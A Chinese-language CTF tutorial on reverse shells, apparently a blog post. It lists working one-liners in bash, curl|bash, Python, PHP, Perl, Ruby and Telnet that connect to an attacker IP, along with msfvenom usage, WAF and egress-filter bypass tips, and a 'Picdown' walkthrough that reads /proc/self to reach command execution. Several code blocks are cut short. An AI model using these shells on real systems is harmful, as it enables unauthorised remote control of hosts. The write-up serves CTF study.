Reverse Shell原理及实现方式
最后更新时间:
文章总字数:
预计阅读时间:
Reverse Shell
基本原理
在ctf题目中,我们基本上遇到的都是linux系统环境,而想获得linux主机的控制权,通常采用反弹shell的方法。
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
反弹shell的优点在于不用知道目标机开放的端口和目标机ip,在ctf题目中,通常没有回显的远程命令执行就会采用反弹shell的方法。
实现方式
反弹shell的方式有很多,而具体采用哪种方式,哪种方式会成功,主要取决于目标主机上有什么样的环境以及当前用户有哪些权限,有调用bash的权限就bash弹,有装nc就nc弹,有装python就用python弹,如果题目中有提示,就用这种方法弹,如果没有提示就多试试(~ ̄▽ ̄)~
以下是具体的反弹shell一句话:
netcat
1 | nc -lvvp 2333 #攻击机 |
bash
1 | nc -lvvp 2333 #攻击机 |
curl配合bash反弹shell
借助了linux中的管道,首先在攻击机的web目录里面创建一个index文件(可以是index.php或index.html),内容是bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
接下来在攻击机开启对该端口的监听
然后再在目标机执行curl 47.xxx.xxx.72|bash
即可反弹shell,这个ip可以是任意格式的,十进制,十六进制,八进制,二进制等等,可以绕过waf。
Socat
1 | socat TCP-LISTEN:2333 -或nc -lvvp 2333 |
Telnet
法一
1 | nc -lvvp 2333 |
法二
1 | nc -lvvp 2333nc -lvvp 4000 |
攻击机需要开两个本地监听,2333输命令,4000看结果
Python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
如果无效可以试试改为python3
PHP
1 | php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl
1 | perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby
1 | ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'或ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
利用msfvenom生成一句话
1 | msfvenom -l payloads | grep 'cmd/unix/reverse' |
自行选择生成payload使用
反弹完shell之后可以输入python -c "import pty;pty.spawn('/bin/bash')"
来获得模拟终端,从而进行更多操作。
注意事项
由于各个题目千奇百怪的环境,有很多情况下反弹shell并不会成功,主要原因有以下几个
- 当前用户无权调用bash:无解
- 禁止出站ip:设置了严格的出站策略,只允许连接到几个公网ip,无解
- 禁止出站端口:找到允许访问的端口,使用8080或443,大概率都可以,记得在阿里云将安全组设置为允许所有ip访问监听的端口
- 禁止出站协议:探测允许的协议
例题Picdown
picdown:linux系统信息+反弹shell
url内输入文件路径可以进行文件读取,这里介绍一个补充知识:
正常情况下可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。
为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid
对应本题,我们首先使用/proc/self/cmdline来看一下曾经执行过什么命令,发现使用python运行过app.py,于是我们可以直接读取app.py看看有什么内容。
关键代码:
1 | SECRET_FILE = "/tmp/secret.txt" |
密钥文件已被删除,但是曾经使用过open操作,这时候我们就可以通过访问proc下的fd目录下的文件标签来查看该文件。fd----包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接;
经爆破出fd/3是密钥,于是可以执行系统命令。
无回显命令执行
但是这个页面没有回显,一般无回显的命令执行有两种方法,一种类似sql盲注,而另一种是通过运行特定语句来反弹shell。
反弹Shell,看这一篇就够了-腾讯云开发者社区-腾讯云 (tencent.com)
另外,要注意用url编码再上传,否则很容易漏掉字符导致失败,且需要将自己用来接收shell的端口访问权限完全打开,先nc监听再反弹。
一般使用8080和443来监听,比较容易成功,且利用bash或者其他语言的脚本来运行,这里我们知道目标机使用过python命令,于是我们使用python脚本来反弹shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
成功反弹,查看根目录获得flag。